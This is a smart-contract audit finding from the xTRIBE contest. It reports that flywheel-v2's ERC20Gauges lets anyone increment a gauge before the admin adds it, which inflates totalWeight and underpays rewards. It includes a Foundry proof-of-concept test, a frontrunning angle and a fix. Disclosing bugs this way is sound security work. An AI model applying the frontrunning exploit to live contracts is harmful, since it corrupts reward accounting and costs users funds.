xTRIBE contest - smiling_heretic's results

Lines of code

https://github.com/fei-protocol/flywheel-v2/blob/77bfadf388db25cf5917d39cd9c0ad920f404aad/src/token/ERC20Gauges.sol#L214 https://github.com/fei-protocol/flywheel-v2/blob/77bfadf388db25cf5917d39cd9c0ad920f404aad/src/token/ERC20Gauges.sol#L257 https://github.com/fei-protocol/flywheel-v2/blob/77bfadf388db25cf5917d39cd9c0ad920f404aad/src/token/ERC20Gauges.sol#L248 https://github.com/fei-protocol/flywheel-v2/blob/77bfadf388db25cf5917d39cd9c0ad920f404aad/src/token/ERC20Gauges.sol#L465-L469

Vulnerability details

Impact

The impact depends really on how gauges are used by other contracts.

The most obvious consequence I can imagine is that some other contract distributes rewards based on calculateGaugeAllocation. However, because _getStoredWeight(_totalWeight, currentCycle) is now larger than the real total sum of weights, all rewards are smaller than they should be (because of larger denominator total).

There can be also (potentially large) leftover amount of rewards that is never distributed because now sum of calculateGaugeAllocation(gauge, quantity) over all gauges with constant quantity is less than quantity. So value might be lost.

Proof of Concept

I added this test (modified testCalculateGaugeAllocation ) to ERC20GaugesTest.t.sol and it passes.

    function testExploit() public {
        token.mint(address(this), 100e18);

        token.setMaxGauges(2);
        token.addGauge(gauge1);

        require(token.incrementGauge(gauge1, 1e18) == 1e18);
        require(token.incrementGauge(gauge2, 1e18) == 2e18);
        
        // gauge added after incrementing...
        token.addGauge(gauge2);

        hevm.warp(3600); // warp 1 hour to store changes
        require(token.calculateGaugeAllocation(gauge1, 150e18) == 50e18);
        require(token.calculateGaugeAllocation(gauge2, 150e18) == 50e18);

        // expected value would be 2e18
        require(token.totalWeight() == 3e18);

        require(token.incrementGauge(gauge2, 2e18) == 4e18);

        // ensure updates don't propagate until stored
        require(token.calculateGaugeAllocation(gauge1, 150e18) == 50e18);
        require(token.calculateGaugeAllocation(gauge2, 150e18) == 50e18);

        hevm.warp(7200); // warp another hour to store changes again
        require(token.calculateGaugeAllocation(gauge1, 125e18) == 25e18);
        require(token.calculateGaugeAllocation(gauge2, 125e18) == 75e18);
        
        // expected value would be 4e18
        require(token.totalWeight() == 5e18);
    }

As we can see, we can call token.incrementGauge(gauge2, 1e18) before token.addGauge(gauge2). This is because this check doesn't revert for gauges that were never added in the first place.

First time the total weight is incremented in _incrementUserAndGlobalWeights and 2nd time here.

If corrupting state like this is adventurous for someone, he can frontrun token.addGauge called by the admin with a call to incrementGauge which is permissionless.

Tools Used

Foundry

Recommended Mitigation Steps

Use condition _gauges.contains(gauge) && !_deprecatedGauges.contains(gauge) to check if a gauge can be incremented instead of just !_deprecatedGauges.contains(gauge) . There's a function isGauge in the contract that does exactly this.